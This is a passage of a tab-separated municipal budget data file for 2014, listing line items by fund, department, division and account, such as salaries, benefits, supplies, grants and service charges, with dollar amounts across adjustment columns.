13257	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	5006.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5006.0
13258	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2813.0
13259	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	690550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	690550.0
13260	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	21882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21882.0
13261	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	936.0	0	0	0	0	0	0.0	0	0	0	0	0.0	936.0
13262	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3476.0
13263	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	482.0	0	0	0	0	0	0.0	0	0	0	0	0.0	482.0
13264	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	160432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	160432.0
13265	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2911.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2911.0
13266	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	309.0	0	0	0	0	0	0.0	0	0	0	0	0.0	309.0
13267	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1738.0
13268	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
13269	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115.0
13270	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	201691.0	0	0	0	0	0	0.0	0	0	0	0	0.0	201691.0
13271	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	4529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4529.0
13272	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150.0
13273	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	937.0	0	0	0	0	0	0.0	0	0	0	0	0.0	937.0
13274	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	588.0	0	0	0	0	0	0.0	0	0	0	0	0.0	588.0
13275	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2014	152357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	152357.0
13276	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	1200.0	0	0	0	0	0.0	1200.0
13277	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	523.0	0	0	0	0	0	0.0	0	0	0	0	0.0	523.0
13278	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555170.0	MONITORING COSTS	808.0	 Supplies and Expenses	2014	58000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58000.0
13279	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560030.0	RAIN BARREL PROGRAM	808.0	 Supplies and Expenses	2014	13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13000.0
13280	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560040.0	CISTERN PROGRAM	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13281	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
13282	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-80800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-80800.0
13283	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-20200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20200.0
13284	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-40400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40400.0
13285	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401590.0	PLANNING PRESUBMITTAL REVIEW	612.0	Charges for Service	2014	-3126.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3126.0
13286	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
13287	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	60438.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60438.0
13288	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2014	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
13289	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	420.0	0	0	0	0	0	0.0	0	0	0	0	0.0	420.0
13290	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	40031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40031.0
13291	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2014	480340.0	0	0	0	0	0	0.0	0	72316	0	0	0.0	552656.0
13292	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2014	18500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18500.0
13293	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402660.0	FUTURE REPLACEMENTS	650.0	Charges for Service	2014	-4328928.0	0	0	0	0	0	0.0	0	0	-8164	0	-26896.0	-4363988.0
13294	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	105023.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105023.0
13295	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
13296	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	61500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61500.0
13297	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2014	0.0	0	0	0	0	0	-1276228.0	0	0	0	0	0.0	-1276228.0
13298	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2014	12200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12200.0
13299	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	19479.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19479.0
13300	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
13301	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-10294.0	0	0	0	0	0	0.0	832	0	0	0	0.0	-9462.0
13302	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2748.0	0	0	0	0	0	0.0	-832	0	0	0	0.0	-3580.0
13303	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-2474.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2474.0
13304	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-359.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-359.0
13305	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1718.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1718.0
13306	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2014	-35533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35533.0
13307	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4925.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4925.0
13308	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4246.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4246.0
13309	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577723.0	CDBG - RESIDENTIAL REHAB PROG		 Supplies and Expenses	2014	300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300000.0
13310	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0	0	0.0	35467	0	0	0	0.0	0.0
13311	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2014	-31130.0	0	0	0	0	0	0.0	31130	0	0	0	0.0	0.0
13312	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556170.0	SOLD FLOWERS	808.0	 Supplies and Expenses	2014	11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11000.0
13313	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	4638.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4638.0
13314	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
13315	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2014	3466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3466.0
13316	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	1600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1600.0
13317	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511490.0	OVERTIME	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	136.0	0	0	0	0	0.0	136.0
13318	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	20819.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20819.0
13319	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
13320	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	2287.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2287.0
13321	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	2533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2533.0
13322	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-923789	0	0	0	0.0	-923789.0
13323	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-1526948	0	0	0	0.0	-1526948.0
13324	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2014	-11714.0	0	0	0	0	0	0.0	11714	0	0	0	0.0	0.0
13325	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2014	-34068.0	0	0	0	0	0	0.0	34068	0	0	0	0.0	0.0
13326	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
13327	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	8250.0	0	0	0	0	123	0.0	0	0	0	0	0.0	8373.0
13328	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13329	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2014	13133.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13133.0
13330	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	185819.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185819.0
13331	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
13332	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	21500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21500.0
13333	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
13334	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13335	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130.0
13336	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	3438.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3438.0
13337	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1045.0	0	0	0	452	71	0.0	0	0	0	0	0.0	1568.0
13338	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560050.0	TOOL ALLOWANCE		 Supplies and Expenses	2014	27675.0	0	0	0	0	6623	0.0	0	0	0	0	0.0	34298.0
13339	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	7682.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7682.0
13340	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571120.0	S+C HAP TRA	816.0	 Supplies and Expenses	2014	1526948.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1526948.0
13341	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14463.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14463.0
13342	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-188534.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-188534.0
13343	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-54419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-54419.0
13344	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-92188.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-92188.0
13345	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2014	-19454.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19454.0
13346	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2014	-9408.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9408.0
13347	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	10846.0	0	0	0	0	136	0.0	0	0	0	0	0.0	10982.0
13348	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511749.0	VISION	804.0	Salaries and Wages	2014	955.0	0	0	0	0	0	0.0	0	0	0	0	0.0	955.0
13349	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	149678.0	0	0	0	0	2350	0.0	0	0	0	0	0.0	152028.0
13350	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DCAP	804.0	Salaries and Wages	2014	480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	480.0
13351	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	578990.0	WELLNESS PROGRAM	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
13352	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2014	-5500.0	0	0	0	0	0	0.0	5500	0	0	0	0.0	0.0
13353	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	20184.0	0	0	0	0	267	0.0	0	0	0	0	0.0	20451.0
13354	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2014	6664.0	0	0	0	0	92	0.0	0	0	0	0	0.0	6756.0
13355	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2014	800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800.0
13356	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
13357	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
13358	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	4500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4500.0
13359	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	533090.0	PROJECT MAINTENANCE	808.0	 Supplies and Expenses	2014	120000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120000.0
13360	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561420.0	OPCC SAFE HAVEN		 Supplies and Expenses	2014	122002.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122002.0
13361	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562162.0	JEWISH VOCATIONAL SERVICE		 Supplies and Expenses	2014	52260.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52260.0
13362	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577724.0	ST JOE HPSHP-CDBG	810.0	 Supplies and Expenses	2014	70377.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70377.0
13363	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562434.0	SHP-OPCC	810.0	 Supplies and Expenses	2014	112958.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112958.0
13364	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405690.0	SALE OF ADVERTISING PANELS	662.0	Other	2014	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
13365	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	569290.0	FIRE TRUCK MAINTENANCE REIMB	806.0	 Supplies and Expenses	2014	432093.0	0	0	0	0	0	0.0	0	0	0	0	0.0	432093.0
13366	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	10900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10900.0
13367	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404010.0	PROP 84-16TH ST WATERSHED	610.0	Intergovernmental	2014	-1013085.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1013085.0
13368	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544470.0	GROUNDS MAINT EQ & SUPPLIES	808.0	 Supplies and Expenses	2014	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
13369	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	11628.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11628.0
13370	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1914.0	0	0	0	0	27	0.0	0	0	0	0	0.0	1941.0
13371	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555820.0	CUPA ELECTRONIC REPORTING	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	39724.0	39724.0
13372	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408210.0	BIKE TECHNO DEMO-MTA	610.0	Intergovernmental	2014	-10000.0	0	0	-223096	0	0	0.0	0	0	0	0	0.0	-233096.0
13373	B1	IS	1	General Fund	310	FIRE	315	TRAINING	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	12196.0	0	0	0	0	0.0	12196.0
13374	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408101.0	9-1-1 VOICE LOGGERS	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-109896.0	-109896.0
13375	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408320.0	LANDSCAPE & IRRIG PLAN CHECK R	612.0	Charges for Service	2014	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
13376	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408330.0	LANDSCAPE & IRRIG ON-SITE INSP	612.0	Charges for Service	2014	-22000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22000.0
13377	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408340.0	URBAN RUNOFF MIT. INSP. ONSITE	612.0	Charges for Service	2014	-12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12000.0
